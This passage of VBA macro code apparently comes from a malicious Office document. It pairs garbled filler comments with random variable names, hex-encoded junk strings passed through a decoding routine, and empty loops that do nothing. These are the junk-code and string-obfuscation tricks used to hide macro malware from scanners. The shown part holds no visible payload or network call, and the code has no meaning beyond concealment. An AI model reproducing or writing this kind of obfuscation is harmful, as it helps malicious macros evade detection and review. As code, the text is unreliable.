- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DoEvents: DGJHdDaf = DGJHdDaf + 1
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim lZIxMAjG, IlDaNfZc, qEzWOPsJ As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- lZIxMAjG = GIYbonflbkpgerg("20202020202020202020204E434A425556202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- IlDaNfZc = LTrim(lZIxMAjG)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- qEzWOPsJ = RTrim(IlDaNfZc)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Loop
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim ZWLgKPIO, FaTklcQM, SQorkbkl As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ZWLgKPIO = GIYbonflbkpgerg("2020202020202020202020534F5148504D202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- FaTklcQM = LTrim(ZWLgKPIO)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- SQorkbkl = RTrim(FaTklcQM)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- pTTkOWYS = RTrim(jgFYKFjo)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim YUNiIyNt As Integer
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim uSkhlPDx, eDAAFFqc, VFQDoLIb As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- uSkhlPDx = GIYbonflbkpgerg("2020202020202020202020505551444153202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- eDAAFFqc = LTrim(uSkhlPDx)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- VFQDoLIb = RTrim(eDAAFFqc)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- YUNiIyNt = 7
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Do While YUNiIyNt < 89
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim mAiDsXOj, NxGivjno, LDYLhcHS As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- mAiDsXOj = GIYbonflbkpgerg("202020202020202020202042524D4D414F202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- NxGivjno = LTrim(mAiDsXOj)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- LDYLhcHS = RTrim(NxGivjno)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DoEvents: YUNiIyNt = YUNiIyNt + 1
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim XKcxpjbp, veSjLDoE, DLKMBbms As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- XKcxpjbp = GIYbonflbkpgerg("202020202020202020202046545342474B202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- veSjLDoE = LTrim(XKcxpjbp)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DLKMBbms = RTrim(veSjLDoE)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Loop
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim cBPonpqm, PtxszVgT, XqogRQkH As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- cBPonpqm = GIYbonflbkpgerg("2020202020202020202020505159464155202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- PtxszVgT = LTrim(cBPonpqm)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- XqogRQkH = RTrim(PtxszVgT)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- End Function
- Sub KFIDAXVLION()
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim hhhdDOts, KnRyxuFT, ujPPZKNf As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim qyMEsyBo As Integer
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim BQlSFKGk, WSRViCdl, HSFpZaPl As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- BQlSFKGk = GIYbonflbkpgerg("2020202020202020202020595553565348202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- WSRViCdl = LTrim(BQlSFKGk)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- HSFpZaPl = RTrim(WSRViCdl)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- qyMEsyBo = 5
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Do While qyMEsyBo < 54
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim UteDnTmp, dNPiDadz, yjALRiAT As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- UteDnTmp = GIYbonflbkpgerg("2020202020202020202020544C4B4D4F41202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- dNPiDadz = LTrim(UteDnTmp)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- yjALRiAT = RTrim(dNPiDadz)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DoEvents: qyMEsyBo = qyMEsyBo + 1
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim cPtkbSTq, NXlsppgR, fSvHgWnd As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- cPtkbSTq = GIYbonflbkpgerg("2020202020202020202020495355545358202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- NXlsppgR = LTrim(cPtkbSTq)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- fSvHgWnd = RTrim(NXlsppgR)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Loop
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim GaCJGziI, DQnEDrFu, NJdYgJJk As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- GaCJGziI = GIYbonflbkpgerg("20202020202020202020204C5344544945202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DQnEDrFu = LTrim(GaCJGziI)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- NJdYgJJk = RTrim(DQnEDrFu)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- hhhdDOts = GIYbonflbkpgerg("20202020202020202020205648494D525A202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim rLvqtyoi As Integer
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim UliMEhwz, ZlkyVlLe, vlAklvjt As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- UliMEhwz = GIYbonflbkpgerg("20202020202020202020204343595A5941202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ZlkyVlLe = LTrim(UliMEhwz)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- vlAklvjt = RTrim(ZlkyVlLe)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- rLvqtyoi = 4
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Do While rLvqtyoi < 94
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim BOrMtblC, RRQgkMqG, oblOTheU As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- BOrMtblC = GIYbonflbkpgerg("202020202020202020202046494B435656202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- RRQgkMqG = LTrim(BOrMtblC)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- oblOTheU = RTrim(RRQgkMqG)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DoEvents: rLvqtyoi = rLvqtyoi + 1
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim WZlOTnbc, plcfQsQy, SESimOmn As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- WZlOTnbc = GIYbonflbkpgerg("202020202020202020202044434F594E43202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- plcfQsQy = LTrim(WZlOTnbc)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- SESimOmn = RTrim(plcfQsQy)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Loop
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim CPeArcbg, oHGRYsEb, unlkRfoV As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- CPeArcbg = GIYbonflbkpgerg("2020202020202020202020434547434846202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- oHGRYsEb = LTrim(CPeArcbg)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- unlkRfoV = RTrim(oHGRYsEb)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- KnRyxuFT = LTrim(hhhdDOts)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim mNMZgJtz As Integer
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim dgIecLbV, ogKgKVCB, rhzndzmN As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- dgIecLbV = GIYbonflbkpgerg("202020202020202020202044574C594548202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ogKgKVCB = LTrim(dgIecLbV)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- rhzndzmN = RTrim(ogKgKVCB)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- mNMZgJtz = 5
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Do While mNMZgJtz < 48
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim uwFvJgnx, QkwLrPlg, jdrfjtpy As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- uwFvJgnx = GIYbonflbkpgerg("2020202020202020202020514A59525A4E202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- QkwLrPlg = LTrim(uwFvJgnx)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- jdrfjtpy = RTrim(QkwLrPlg)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DoEvents: mNMZgJtz = mNMZgJtz + 1
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim axAoQzWD, EIGembRi, KvWYnqHH As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- axAoQzWD = GIYbonflbkpgerg("202020202020202020202043544B4E4B52202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- EIGembRi = LTrim(axAoQzWD)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- KvWYnqHH = RTrim(EIGembRi)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Loop
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim FliRbePt, NvMUaJFh, sRYPETJn As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- FliRbePt = GIYbonflbkpgerg("20202020202020202020204B4D4B424145202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- NvMUaJFh = LTrim(FliRbePt)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- sRYPETJn = RTrim(NvMUaJFh)
